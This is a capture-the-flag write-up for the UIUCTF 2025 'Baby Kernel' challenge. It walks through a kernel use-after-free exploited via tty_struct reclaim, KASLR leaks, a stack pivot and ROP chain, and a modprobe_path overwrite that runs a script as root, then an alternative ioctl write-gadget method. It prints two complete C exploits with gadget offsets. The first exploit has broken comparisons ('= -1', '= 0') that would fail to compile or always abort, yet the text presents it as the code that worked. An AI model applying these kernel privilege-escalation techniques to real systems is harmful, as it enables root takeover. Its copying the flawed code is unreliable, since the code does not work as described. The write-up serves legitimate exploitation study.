From tty_struct UAF to modprobe_path: ops->close vs. ops->ioctl

This challenge Baby Kernel from UIUCTF_2025 from exposes a small kernel module with one global heap pointer. The module frees the allocation without clearing that pointer, leaving both a stale read and a stale write. I reclaim the freed kmalloc-1k object with a tty_struct, leak the kernel and heap addresses, replace tty->ops with a fake operation table, and use tty_operations->close to pivot the kernel stack into the corrupted object to get RIP controle.

The ROP chain calls _copy_from_user() to replace /sbin/modprobe with /tmp/ex, returns safely to userspace, and executes an invalid binary so the kernel runs /tmp/ex as root.

The complete chain is:

0x400-byte allocation
    -> free without clearing the global pointer (UAF)
    -> reclaim with a kmalloc-1k tty_struct
    -> stale read leaks ptm_unix98_ops and a tty self-pointer
    -> calculate the KASLR base and tty_struct address
    -> stale write installs fake tty_operations inside tty_struct
    -> close the reclaimed PTY
    -> fake tty_operations->close pivots RSP into tty_struct
    -> ROP calls _copy_from_user(modprobe_path, "/tmp/ex", 8)
    -> return to userspace through the kernel trampoline
    -> execute an invalid binary
    -> /tmp/ex runs as root and makes the flag readable

1. Challenge overview

The challenges includes a readable source file that module registers:

/dev/vuln

It exposes four ioctl commands:

#define K1_TYPE 0xB9
#define ALLOC     _IOW(K1_TYPE, 0, size_t)
#define FREE       _IO(K1_TYPE, 1)
#define USE_READ  _IOR(K1_TYPE, 2, char)
#define USE_WRITE _IOW(K1_TYPE, 2, char)

Their third arguments are:

CommandUserspace callMeaning of the third argument
ALLOCioctl(fd, ALLOC, &size)Pointer to a size_t
FREEioctl(fd, FREE, 0)Unused
USE_READioctl(fd, USE_READ, output)Destination userspace buffer
USE_WRITEioctl(fd, USE_WRITE, input)Source userspace buffer

USE_READ means that the kernel copies data to userspace:

copy_to_user((char *)arg, buf, size);

USE_WRITE means that the kernel copies data from userspace:

copy_from_user(buf, (char *)arg, size);

The direction is named from the userspace program's perspective: userspace reads kernel data with USE_READ and writes kernel data with USE_WRITE.

The relevant kernel protections are:

KASLR   enabled
SMEP    enabled
SMAP    enabled
KPTI    disabled
SLUB    enabled
CONFIG_STATIC_USERMODEHELPER disabled

Consequences:

  • KASLR requires a kernel-text leak.
  • SMEP prevents jumping directly to userspace shellcode from ring 0.
  • SMAP prevents ordinary kernel instructions from reading userspace memory.
  • A fake kernel object must live in kernel memory, not in a userspace buffer.
  • modprobe_path remains a usable writable kernel string.

2. Reversing the vulnerable module

The module stores all state globally:

void *buf;
size_t size;

ALLOC

ALLOC first obtains a size from userspace and then creates a zeroed kernel allocation:

copy_from_user(&size, (void *)arg, sizeof(size));
buf = kzalloc(size, GFP_KERNEL);

The exploit requests 0x400 bytes used this to have a good amount of space, but this could be any arbitrary size. SLUB services that request from kmalloc-1k.

FREE

The vulnerable operation is:

kfree(buf);

The module does not follow it with:

buf = NULL;

The global therefore still contains the address of a freed object. A safe implementation whould be to clear the pointer too to prevent UAF.

USE_READ and USE_WRITE

Both operations only reject a NULL pointer:

if (!buf)
    return -EFAULT;

Because the freed pointer is still non-NULL, these operations continue using it:

USE_READ  -> copy 0x400 bytes from the freed address to userspace
USE_WRITE -> copy 0x400 bytes from userspace to the freed address

This gives matching use-after-free read and write primitives.

3. Reclaiming the object with tty_struct

The exploit creates and frees the vulnerable allocation:

vuln_alloc(vuln_fd, 0x400);
vuln_free(vuln_fd);

The heap now contains:

module buf -> freed 0x400-byte kmalloc-1k object

Opening /dev/ptmx allocates a tty_struct of the same slab-cache size:

for (size_t i = 0; i < 100; i++)
    spray_fds[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

The exploit pins itself to CPU 0 so the free, spray, and later allocations use the same per-CPU SLUB state:

cpu_set_t cpus;
CPU_ZERO(&cpus);
CPU_SET(0, &cpus);
sched_setaffinity(0, sizeof(cpus), &cpus);

After a successful reclaim:

module buf --------------|
                         V
                    [ tty_struct ]
                         ^
sprayed /dev/ptmx fd ----|

The module and the TTY subsystem now reference the same kernel memory:

VULN_IOCTL_READ  -> disclose tty_struct
VULN_IOCTL_WRITE -> modify tty_struct
close(ptmx_fd)   -> make the TTY subsystem use the modified object

4. Leaking the kernel and heap addresses

Reading through the dangling module pointer returns the reclaimed tty_struct. A successful run began like this:

offset  value                         field
------  ----------------------------  ------------------------
+0x00   0x0000000000000001            kref/index
+0x08   0x0000000000000000            dev
+0x10   0xff2ab4f101983240            driver
+0x18   0xff2ab4f101bc7e00            port
+0x20   0xffffffff9f685100            ops = ptm_unix98_ops
+0x28   0xff2ab4f101b897d0            ldisc
...
+0x40   0xff2ab4f102003040            ldisc_sem.read_wait.next

The target has CONFIG_RANDSTRUCT disabled, so the observed field offsets are stable for this kernel build.

KASLR leak from tty->ops

At byte offset 0x20, tty->ops points to the static kernel table ptm_unix98_ops:

uint64_t ops_leak = *(uint64_t *)&buffer[0x20];

The symbol's known offset from the kernel base is 0x1285100:

ptm_unix98_ops leak             0xffffffff9f685100
- PTM_UNIX98_OPS_OFFSET                  0x1285100
--------------------------------------------------
kernel base                     0xffffffff9e400000

In code:

uint64_t kernel_base = ops_leak - 0x1285100;

Heap leak from the line-discipline semaphore

At byte offset 0x40, tty->ldisc_sem.read_wait.next points back to the list head at its own address:

uint64_t self_leak = *(uint64_t *)&buffer[0x40];

Therefore:

read_wait.next                   0xff2ab4f102003040
- field offset                                  0x40
----------------------------------------------------
tty_struct address               0xff2ab4f102003000

In code:

uint64_t tty_address = self_leak - 0x40;

The exploit now knows both the kernel image base and the address of the controlled kernel allocation.

5. Why overwriting tty->ops with a marker is not RIP control

The genuine operation table begins like this:

ptm_unix98_ops
+0x00  lookup
+0x08  install
+0x10  remove
+0x18  open
+0x20  close

tty_release() conceptually performs:

operations = tty->ops;
close_callback = operations->close;
close_callback(tty, file);

There are two pointer dereferences before control flow changes:

tty_struct
    | read tty->ops at +0x20
    V
tty_operations
    | read close at +0x20
    V
indirect call

If tty->ops itself is replaced with 0x4242424242424242, the kernel faults while trying to read [0x4242424242424242 + 0x20]. It never reaches the indirect call. A valid kernel address containing a fake operation table is needed first.

6. Placing fake tty_operations inside tty_struct

SMAP prevents using a userspace address as tty->ops. The reclaimed tty_struct, however, is writable kernel memory whose address was leaked. So what we do is we replace the address on to a address further on the buf.

The fake operation table begins at tty + 0x38:

tty address                      0xff2ab4f102003000
+ fake table offset                            0x38
----------------------------------------------------
fake tty_operations             0xff2ab4f102003038

The close callback is 0x20 bytes into struct tty_operations:

fake tty_operations             tty + 0x38
+ close offset                        + 0x20
---------------------------------------------
fake close slot                 tty + 0x58

The exploit installs both pointers literally:

*(uint64_t *)&buffer[0x20] = tty_address + 0x38;
*(uint64_t *)&buffer[0x58] = kernel_base + PIVOT_RBX_OFFSET;

The resulting object is:

tty_struct

+0x20  tty->ops ------------------------------|
                                              |
                                              V
+0x38  fake tty_operations                    |
        +0x00 lookup                          |
        +0x08 install                         |
        +0x10 remove                          |
        +0x18 open                            |
        +0x20 close = stack pivot  <----------|

Only close matters. The other fake callbacks are never invoked on this path.

7. The callback register state

Before selecting a real gadget, I put 0x4242424242424242 in the fake close slot. Closing the reclaimed PTY produced:

RIP: 0x4242424242424242
RAX: 0x4242424242424242
RBX: tty_struct address
RDI: tty_struct address
RSI: struct file address
call trace: tty_release

This confirms a controlled indirect call and also reveals the useful callback state:

RAX = selected tty_operations->close callback
RBX = struct tty_struct *
RDI = struct tty_struct *
RSI = struct file *

Both RDI and RBX point into the controlled object. The available gadget set contains a particularly useful RBX stack pivot.

8. Pivoting the kernel stack into tty_struct

The kernel image was extracted and searched with kropr:

./extract-image.sh bzImage > vmlinux
kropr vmlinux > kropr_gadgets.txt

The selected pivot is at static offset 0xcf66f4:

push rbx
sbb byte ptr [rbx+0x41], bl
pop rsp
pop rbp
ret

At callback entry, RBX contains the tty_struct address.

The sbb side effect is harmless for this path:

  • A kmalloc-1k object has a zero low byte, so BL = 0.
  • The callback dispatch tests the callback pointer before calling it, leaving CF = 0.
  • sbb [rbx+0x41], bl therefore subtracts zero.

The remaining instructions behave as follows, where T is the leaked tty_struct address:

push rbx     kernel stack receives T
pop rsp      RSP = T
pop rbp      RBP = *(T + 0x00), RSP = T + 0x08
ret          RIP = *(T + 0x08), RSP = T + 0x10

This makes the qword at tty + 0x08 the next instruction pointer. That field normally contains tty->dev; on this PTY it was zero and is repurposed after the close callback has already been selected:

*(uint64_t *)&buffer[0x08] =
    kernel_base + ADD_RSP_0X108_RET_OFFSET;

The next gadget is:

add rsp, 0x108
ret

At its entry, RSP = T + 0x10, so:

T + 0x10 + 0x108 = T + 0x118

The following ret loads the first ROP address from tty + 0x118. This skips the live header fields instead of treating tty->driver, tty->port, and tty->ops as ROP entries.

The complete controlled layout is:

tty + 0x00  value consumed by pop rbp
tty + 0x08  add rsp, 0x108; ret
tty + 0x20  tty->ops = tty + 0x38
tty + 0x38  fake tty_operations
tty + 0x58  fake ops->close = RBX pivot
tty + 0x118 first ROP-chain entry

9. Building the ROP call to _copy_from_user

The target is the writable kernel string:

modprobe_path = kernel_base + 0x1b3f600

It initially contains:

/sbin/modprobe\0

The replacement string is exactly eight bytes including its terminator:

/tmp/ex\0

Because SMAP is enabled, an ordinary kernel memcpy() or strcpy() gadget cannot safely read the string from userspace. _copy_from_user() performs the required stac and clac operations around the copy.

Its calling convention is:

_copy_from_user(
    modprobe_path,  /* RDI: kernel destination */
    "/tmp/ex",      /* RSI: userspace source */
    8               /* RDX: byte count */
);

The chain placed at tty + 0x118 is:

uint64_t *rop = (uint64_t *)&buffer[0x118];

*rop++ = kernel_base + RET_OFFSET;
*rop++ = kernel_base + POP_RDI_RET_OFFSET;
*rop++ = kernel_base + MODPROBE_PATH_OFFSET;
*rop++ = kernel_base + POP_RSI_RET_OFFSET;
*rop++ = (uint64_t)helper_path;
*rop++ = kernel_base + POP_RDX_RET_OFFSET;
*rop++ = sizeof(helper_path);
*rop++ = kernel_base + COPY_FROM_USER_OFFSET;

The initial plain ret fixes stack alignment before entering _copy_from_user(). The function returns zero when all eight bytes were copied.

10. Returning safely to userspace

The exploit saves the userspace return state before triggering the vulnerability:

mov user.cs, cs
mov user.ss, ss
pushfq
pop user.rflags
mov user.rsp, rsp

The kernel contains:

swapgs_restore_regs_and_return_to_usermode

Entering at the symbol start is wrong because it first pops a complete register frame. In this build the relevant disassembly is:

swapgs_restore_regs_and_return_to_usermode:
    jmp ...+27
...
+0x1b:
    pop r15
    pop r14
    pop r13
    pop r12
    pop rbp
    pop rbx
    pop r11
    pop r10
    pop r9
    pop r8
    pop rax
    pop rcx
    pop rdx
    pop rsi
+0x31:
    mov rdi, rsp

The exploit enters at +0x31, after all register pops:

#define SWAPGS_IRET_OFFSET 0x10016a1ULL

The required stack frame is:

RSP+0x00  0                         user RDI
RSP+0x08  0                         orig_rax
RSP+0x10  return_to_userspace       user RIP
RSP+0x18  saved CS                  0x33
RSP+0x20  saved RFLAGS
RSP+0x28  saved RSP
RSP+0x30  saved SS                  0x2b

It is appended to the ROP chain as:

*rop++ = kernel_base + SWAPGS_IRET_OFFSET;
*rop++ = 0;
*rop++ = 0;
*rop++ = (uint64_t)return_to_userspace;
*rop++ = user.cs;
*rop++ = user.rflags;
*rop++ = user.rsp;
*rop++ = user.ss;

The kernel trampoline constructs an iretq frame, performs the required swapgs, and returns to return_to_userspace() in userspace. That small assembly stub aligns the userspace stack and calls the C post-exploitation function.

11. Why the PTY must be closed before process exit

Initially I allowed main() to return and relied on normal process cleanup to close the sprayed descriptors. RIP control still worked, but _copy_from_user() returned 8 and changed the first eight bytes of modprobe_path to zero.

The reason is ordering inside process exit:

main returns
    -> do_exit()
    -> exit_mm() removes the userspace memory map
    -> exit_files() closes the PTY
    -> ROP calls _copy_from_user(user pointer)
    -> all eight bytes fail because the user mapping is gone

The same missing memory map also prevents the final iretq from executing the userspace trampoline.

The fix is to close the PTYs explicitly while main() and its memory map are still alive:

for (size_t i = 0; i < TTY_SPRAY_COUNT; i++)
    close(spray_fds[i]);

When the reclaimed object is reached, the close syscall enters the forged callback and never returns normally.

This also explains why code placed after the close loop did not execute. The ROP chain ends in iretq to return_to_userspace; it does not resume at the instruction following close(). The modprobe trigger therefore belongs in the function used as the saved user RIP, this is what I did wrong initially.

12. Triggering the overwritten modprobe_path

Before corrupting the TTY, the exploit creates two executable files.

/tmp/ex is the root helper:

#!/bin/sh
chmod 777 /flag.txt

/tmp/pwn contains an invalid executable header:

ff ff ff ff

After the ROP chain changes modprobe_path to /tmp/ex, userspace executes /tmp/pwn. The kernel cannot find a registered binary-format handler and requests a module for the unknown format. The usermode-helper path now points to /tmp/ex, so that script runs as root and changes the flag permissions.

The post-exploitation function then prints the flag:

static void post_exploit(void)
{
    system("/tmp/pwn");
    system("cat /flag.txt");
    _exit(0);
}

13. Final memory and control-flow picture

userspace buffer                         reclaimed kernel tty_struct
----------------                         ---------------------------

buffer+0x08  add rsp,0x108;ret    -copy- tty+0x08
buffer+0x20  tty+0x38             -copy- tty->ops
buffer+0x58  RBX pivot             -copy- fake ops->close
buffer+0x118 ROP chain             -copy- controlled ROP area

close(ptmx_fd)
    |
    V
tty_release()
    | reads tty->ops at tty+0x20
    V
fake tty_operations at tty+0x38
    | reads close at fake_ops+0x20 = tty+0x58
    V
push rbx; ...; pop rsp; pop rbp; ret
    | RSP = tty
    | RET target = tty+0x08
    V
add rsp,0x108; ret
    | RSP = tty+0x118
    V
ROP: _copy_from_user(modprobe_path, "/tmp/ex", 8)
    |
    V
swapgs_restore_regs_and_return_to_usermode+0x31
    |
    V
iretq -> return_to_userspace -> post_exploit
    |
    V
execute /tmp/pwn -> kernel runs /tmp/ex as root -> print flag

14. Complete exploit

The following is the complete exploit:

#define _GNU_SOURCE

#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <unistd.h>

#define DEVICE_PATH "/dev/vuln"
#define PTMX_PATH "/dev/ptmx"

#define K1_TYPE 0xB9
#define ALLOC _IOW(K1_TYPE, 0, size_t)
#define FREE _IO(K1_TYPE, 1)
#define USE_READ _IOR(K1_TYPE, 2, char)
#define USE_WRITE _IOW(K1_TYPE, 2, char)

#define TTY_STRUCT_SIZE 0x400
#define TTY_SPRAY_COUNT 100
#define ROP_CHAIN_OFFSET 0x118

#define PTM_UNIX98_OPS_OFFSET 0x1285100ULL
#define MODPROBE_PATH_OFFSET 0x1b3f600ULL
#define COPY_FROM_USER_OFFSET 0x519c40ULL
#define SWAPGS_IRET_OFFSET 0x10016a1ULL

/* push rbx; sbb byte ptr [rbx+0x41], bl; pop rsp; pop rbp; ret */
#define PIVOT_RBX_OFFSET 0xcf66f4ULL
/* add rsp, 0x108; ret */
#define ADD_RSP_0X108_RET_OFFSET 0x28e2a6ULL
#define RET_OFFSET 0x1104109ULL
#define POP_RDI_RET_OFFSET 0xeaf204ULL
#define POP_RSI_RET_OFFSET 0xeacad0ULL
#define POP_RDX_RET_OFFSET 0xe10137ULL

struct user_state {
    uint64_t cs;
    uint64_t ss;
    uint64_t rflags;
    uint64_t rsp;
};

static const char helper_path[] = "/tmp/ex";

static void die(const char *message)
{
    perror(message);
    exit(EXIT_FAILURE);
}

static void pin_to_cpu0(void)
{
    cpu_set_t cpus;

    CPU_ZERO(&cpus);
    CPU_SET(0, &cpus);
    if (sched_setaffinity(0, sizeof(cpus), &cpus) == -1)
        die("sched_setaffinity");
}

static void save_user_state(struct user_state *state)
{
    __asm__ volatile(
        "mov %%cs, %0\n"
        "mov %%ss, %1\n"
        "pushfq\n"
        "pop %2\n"
        "mov %%rsp, %3\n"
        : "=r"(state->cs), "=r"(state->ss), "=r"(state->rflags),
          "=r"(state->rsp));
}

__attribute__((noreturn, noinline, used))
static void post_exploit(void)
{
    system("/tmp/pwn");
    system("cat /flag.txt");
    _exit(0);
}

__attribute__((naked, noreturn))
static void return_to_userspace(void)
{
    __asm__(
        ".intel_syntax noprefix;"
        "xor rbp, rbp;"
        "and rsp, ~0xF;"
        "call post_exploit;"
        "ud2;"
        ".att_syntax;");
}

static void write_file(const char *path, const void *data, size_t size)
{
    int fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0777);
    if (fd == -1)
        die(path);
    if (write(fd, data, size) != (ssize_t)size)
        die("write file");
    if (fchmod(fd, 0777) == -1)
        die("fchmod");
    if (close(fd) == -1)
        die("close file");
}

static int vuln_alloc(int fd, size_t size)
{
    return ioctl(fd, ALLOC, &size);
}

static int vuln_read(int fd, void *buffer)
{
    return ioctl(fd, USE_READ, buffer);
}

static int vuln_write(int fd, const void *buffer)
{
    return ioctl(fd, USE_WRITE, buffer);
}

static int vuln_free(int fd)
{
    return ioctl(fd, FREE, 0);
}

int main(void)
{
    static const char helper_script[] =
        "#!/bin/sh\n"
        "chmod 777 /flag.txt\n";
    static const unsigned char invalid_binary[] = {0xff, 0xff, 0xff, 0xff};

    struct user_state user;
    uint8_t buffer[TTY_STRUCT_SIZE] = {0};
    int spray_fds[TTY_SPRAY_COUNT];

    save_user_state(&user);
    pin_to_cpu0();

    int vuln_fd = open(DEVICE_PATH, O_RDWR);
    if (vuln_fd == -1)
        die(DEVICE_PATH);
    if (vuln_alloc(vuln_fd, sizeof(buffer)) != 0)
        die("ALLOC");
    if (vuln_free(vuln_fd) != 0)
        die("FREE");

    for (size_t i = 0; i < TTY_SPRAY_COUNT; i++) {
        spray_fds[i]= open(PTMX_PATH, O_RDONLY | O_NOCTTY);
        if (spray_fds[i]= -1)
            die(PTMX_PATH);
    }

    if (vuln_read(vuln_fd, buffer) = 0)
        die("USE_READ");

    /* tty_struct->ops at +0x20 points to the kernel's ptm_unix98_ops. */
    uint64_t ops_leak= *(uint64_t *)&buffer[0x20];

    /*
     * tty_struct->ldisc_sem.read_wait.next at +0x40 points to itself,
     * so its value is the tty_struct address plus 0x40.
     */
    uint64_t self_leak= *(uint64_t *)&buffer[0x40];

    /* Remove the known symbol offset to undo KASLR. */
    uint64_t kernel_base= ops_leak - PTM_UNIX98_OPS_OFFSET;

    /* Remove the field offset to recover the start of this tty_struct. */
    uint64_t tty_address= self_leak - 0x40;

    printf("[+] kernel base: 0x%016" PRIx64 "\n", kernel_base);
    printf("[+] tty_struct:  0x%016" PRIx64 "\n", tty_address);

    write_file(helper_path, helper_script, sizeof(helper_script) - 1);
    write_file("/tmp/pwn", invalid_binary, sizeof(invalid_binary));

    *(uint64_t *)&buffer[0x08]=
        kernel_base + ADD_RSP_0X108_RET_OFFSET;
    *(uint64_t *)&buffer[0x20]= tty_address + 0x38;
    *(uint64_t *)&buffer[0x58]= kernel_base + PIVOT_RBX_OFFSET;

    uint64_t *rop= (uint64_t *)&buffer[ROP_CHAIN_OFFSET];
    *rop++= kernel_base + RET_OFFSET;
    *rop++= kernel_base + POP_RDI_RET_OFFSET;
    *rop++= kernel_base + MODPROBE_PATH_OFFSET;
    *rop++= kernel_base + POP_RSI_RET_OFFSET;
    *rop++= (uint64_t)helper_path;
    *rop++= kernel_base + POP_RDX_RET_OFFSET;
    *rop++= sizeof(helper_path);
    *rop++= kernel_base + COPY_FROM_USER_OFFSET;
    *rop++= kernel_base + SWAPGS_IRET_OFFSET;
    *rop++= 0;
    *rop++= 0;
    *rop++= (uint64_t)return_to_userspace;
    *rop++= user.cs;
    *rop++= user.rflags;
    *rop++= user.rsp;
    *rop++= user.ss;

    if (vuln_write(vuln_fd, buffer) = 0)
        die("USE_WRITE");

    for (size_t i= 0; i < TTY_SPRAY_COUNT; i++)
        close(spray_fds[i]);

    fputs("[-] failed to trigger the corrupted tty_struct\n", stderr);
    return EXIT_FAILURE;
}

Successful Baby Kernel exploit

15. Author solution

The author solution is much simpler and more reliable than my ROP chain. I studied it after solving the challenge with the stack-pivot approach. What the author did is especially interesting because it turns the PTY ioctl arguments directly into a kernel write, so no stack pivot, ROP chain, or iretq frame is needed.

Step 1: Reuse the same UAF but change the PTY trigger

Both solutions use the same two file descriptors for the same initial roles:

vuln_fd -> /dev/vuln -> read and overwrite the reclaimed tty_struct
ptmx_fd -> /dev/ptmx -> invoke a callback from the corrupted tty_struct

The dangling pointer in /dev/vuln is used exactly as in my solution:

ioctl(vuln_fd, USE_WRITE, buffer);

This installs a fake operation table in the reclaimed tty_struct. The actual difference is how the PTY descriptor triggers that table:

My solution:     close(ptmx_fd)
                 -> tty->ops->close(tty, file)

Author solution: ioctl(ptmx_fd, controlled_command, controlled_argument)
                 -> tty->ops->ioctl(tty, controlled_command,
                                          controlled_argument)

The author's PTY ioctl() call provides two controlled callback arguments, which are used to construct the kernel write primitive in the following steps.

Step 2: Target tty_operations->ioctl instead of close

My solution overwrites tty_operations->close, whose useful callback state was:

RDI = struct tty_struct *
RSI = struct file *
RBX = struct tty_struct *

The author instead targets this callback:

int (*ioctl)(struct tty_struct *tty, unsigned int cmd,
             unsigned long arg);

At callback entry, the x86-64 calling convention provides:

RDI = tty
RSI = cmd    controlled by ioctl's second argument
RDX = arg    controlled by ioctl's third argument

This is a better interface for the gadget available in this kernel because it provides both a controlled value and a controlled destination.

Step 3: Build the fake operation table

The author places the fake tty_operations table at tty + 0x300, near the end of the controlled 0x400-byte object:

*(uint64_t *)&buffer[0x20] = tty_address + 0x300;

This changes:

tty->ops = tty_address + 0x300

For this kernel build, tty_operations->ioctl is at offset 0x60 inside the operation table:

fake tty_operations             tty + 0x300
+ ioctl offset                       + 0x60
-------------------------------------------
fake ioctl callback             tty + 0x360

The exploit therefore writes the gadget address at buffer offset 0x360:

*(uint64_t *)&buffer[0x360] = mov_qword_ptr_rdx_rsi_ret;

The forged object is:

tty_struct

+0x20  tty->ops ----------------------------
                                            |
                                            V
+0x300 fake tty_operations                  |
        ...                                 |
        +0x60 ioctl = write gadget <--------|

Step 4: Use a single write gadget

The selected gadget is:

mov qword ptr [rdx], rsi
jmp ret

When the fake ioctl callback is invoked:

RSI = attacker-controlled cmd
RDX = attacker-controlled arg

The gadget consequently performs:

*(uint64_t *)arg = cmd;

The jump reaches a plain ret, so the callback returns through the original kernel stack. Unlike my close-callback solution, nothing pivots RSP, and the ioctl syscall can finish normally.

The full call path is:

ioctl(ptmx_fd, cmd, arg)
    -> sys_ioctl()
    -> tty_ioctl(file, cmd, arg)
    -> tty = file->private_data->tty
    -> callback = tty->ops->ioctl
    -> callback(tty, cmd, arg)
    -> mov qword ptr [arg], cmd
    -> ret

The values used as cmd do not need to represent legitimate PTY commands. They are chosen for their byte representation and arrive directly in RSI when the forged callback is called.

Step 5: Write /tmp/ex in two pieces

The cmd parameter is an unsigned int, so the controlled part is four bytes. The gadget writes a complete eight-byte qword, with the upper four bytes zero. The author uses two overlapping writes:

ioctl(ptmx_fd, 0x706d742f, modprobe_path);
ioctl(ptmx_fd, 0x0078652f, modprobe_path + 4);

The first command is "/tmp" in little-endian form:

value: 0x00000000706d742f
bytes: 2f 74 6d 70 00 00 00 00
        /  t  m  p \0 \0 \0 \0

It produces:

modprobe_path = "/tmp\0\0\0\0"

The second command is "/ex\0":

value: 0x000000000078652f
bytes: 2f 65 78 00 00 00 00 00
        /  e  x \0

It is written four bytes later:

modprobe_path + 0x00  "/tmp"
modprobe_path + 0x04  "/ex\0"
--------------------------------
final value             "/tmp/ex\0"

Step 6: Trigger the modified helper

Because each write gadget returns normally, the exploit continues in userspace immediately after both PTY ioctl calls. It creates the helper and an invalid executable, then triggers the normal modprobe_path technique:

execute invalid binary
    -> kernel requests an unknown binary-format module
    -> kernel runs the overwritten modprobe_path
    -> /tmp/ex runs as root
    -> helper copies or exposes the flag

Why the author solution is shorter

Author solution                         My solution
---------------                         -----------
fake tty->ops                           fake tty->ops
fake ops->ioctl                         fake ops->close
controlled RSI and RDX                  useful RBX and RDI
one mov [rdx],rsi gadget                RBX stack pivot
two direct kernel writes                multi-gadget ROP chain
normal callback return                  _copy_from_user call
normal syscall return                   swapgs/iretq return frame

16 Full new exploit with new technique

#define _GNU_SOURCE

#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <unistd.h>

#define DEVICE_PATH "/dev/vuln"
#define PTMX_PATH "/dev/ptmx"

#define K1_TYPE 0xB9
#define ALLOC _IOW(K1_TYPE, 0, size_t)
#define FREE _IO(K1_TYPE, 1)
#define USE_READ _IOR(K1_TYPE, 2, char)
#define USE_WRITE _IOW(K1_TYPE, 2, char)

#define TTY_STRUCT_SIZE 0x400

#define PTM_UNIX98_OPS_OFFSET 0x1285100ULL
#define MODPROBE_PATH_OFFSET 0x1b3f600ULL

/* mov qword ptr [rdx], rsi; jmp to a ret instruction */
#define MOV_QWORD_PTR_RDX_RSI_RET_OFFSET 0x144fa9ULL

static const char helper_path[] = "/tmp/ex";

static void die(const char *message)
{
    perror(message);
    exit(EXIT_FAILURE);
}

static void pin_to_cpu0(void)
{
    cpu_set_t cpus;

    CPU_ZERO(&cpus);
    CPU_SET(0, &cpus);
    if (sched_setaffinity(0, sizeof(cpus), &cpus) == -1)
        die("sched_setaffinity");
}

static void write_file(const char *path, const void *data, size_t size)
{
    int fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0777);
    if (fd == -1)
        die(path);
    if (write(fd, data, size) != (ssize_t)size)
        die("write file");
    if (fchmod(fd, 0777) == -1)
        die("fchmod");
    if (close(fd) == -1)
        die("close file");
}

static int vuln_alloc(int fd, size_t size)
{
    return ioctl(fd, ALLOC, &size);
}

static int vuln_read(int fd, void *buffer)
{
    return ioctl(fd, USE_READ, buffer);
}

static int vuln_write(int fd, const void *buffer)
{
    return ioctl(fd, USE_WRITE, buffer);
}

static int vuln_free(int fd)
{
    return ioctl(fd, FREE, 0);
}

int main(void)
{
    static const char helper_script[] =
        "#!/bin/sh\n"
        "chmod 777 /flag.txt\n";
    static const unsigned char invalid_binary[] = {0xff, 0xff, 0xff, 0xff};

    uint8_t buffer[TTY_STRUCT_SIZE] = {0};

    pin_to_cpu0();

    int vuln_fd = open(DEVICE_PATH, O_RDWR);
    if (vuln_fd == -1)
        die(DEVICE_PATH);
    if (vuln_alloc(vuln_fd, sizeof(buffer)) != 0)
        die("ALLOC");
    if (vuln_free(vuln_fd) != 0)
        die("FREE");

    /* Reclaim the freed 0x400-byte allocation with one tty_struct. */
    int ptmx_fd = open(PTMX_PATH, O_RDONLY | O_NOCTTY);
    if (ptmx_fd == -1)
        die(PTMX_PATH);

    if (vuln_read(vuln_fd, buffer) != 0)
        die("USE_READ");

    /* tty_struct->ops at +0x20 points to the kernel's ptm_unix98_ops. */
    uint64_t ops_leak = *(uint64_t *)&buffer[0x20];

    /* The self-referencing list pointer at +0x40 leaks tty_struct + 0x40. */
    uint64_t self_leak = *(uint64_t *)&buffer[0x40];

    uint64_t kernel_base = ops_leak - PTM_UNIX98_OPS_OFFSET;
    uint64_t tty_address = self_leak - 0x40;
    uint64_t modprobe_path = kernel_base + MODPROBE_PATH_OFFSET;

    printf("[+] kernel base: 0x%016" PRIx64 "\n", kernel_base);
    printf("[+] tty_struct:  0x%016" PRIx64 "\n", tty_address);

    write_file(helper_path, helper_script, sizeof(helper_script) - 1);
    write_file("/tmp/pwn", invalid_binary, sizeof(invalid_binary));

    /*
     * Put a fake tty_operations table at tty_struct + 0x300.
     * tty_struct->ops is the pointer stored at buffer offset 0x20.
     */
    *(uint64_t *)&buffer[0x20] = tty_address + 0x300;

    /*
     * tty_operations->ioctl is +0x60 in the table, so its callback lives at:
     *     buffer + 0x300 + 0x60 = buffer + 0x360
     *
     * On entry to this callback:
     *     RSI = ioctl command
     *     RDX = ioctl argument
     *
     * The gadget therefore performs *(uint64_t *)RDX = RSI and returns.
     */
    *(uint64_t *)&buffer[0x360] =
        kernel_base + MOV_QWORD_PTR_RDX_RSI_RET_OFFSET;

    if (vuln_write(vuln_fd, buffer) != 0)
        die("USE_WRITE");

    /*
     * The corrupted PTY now turns ioctl(ptmx_fd, value, address) into:
     *     *(uint64_t *)address = value
     *
     * Two overlapping little-endian writes produce "/tmp/ex\0".
     * The return values are irrelevant: the kernel writes happen first.
     */
    ioctl(ptmx_fd, 0x706d742f, modprobe_path);      /* "/tmp" */
    ioctl(ptmx_fd, 0x0078652f, modprobe_path + 4);  /* "/ex\0" */

    system("/tmp/pwn");
    system("cat /flag.txt");

    return EXIT_SUCCESS;
}

The author solution avoids:

  • A kernel stack pivot.
  • A controlled kernel ROP area.
  • Stack-alignment calculations.
  • Calling _copy_from_user() under SMAP.
  • Constructing a ring-3 iretq frame.
  • Abandoning the original close syscall stack.

References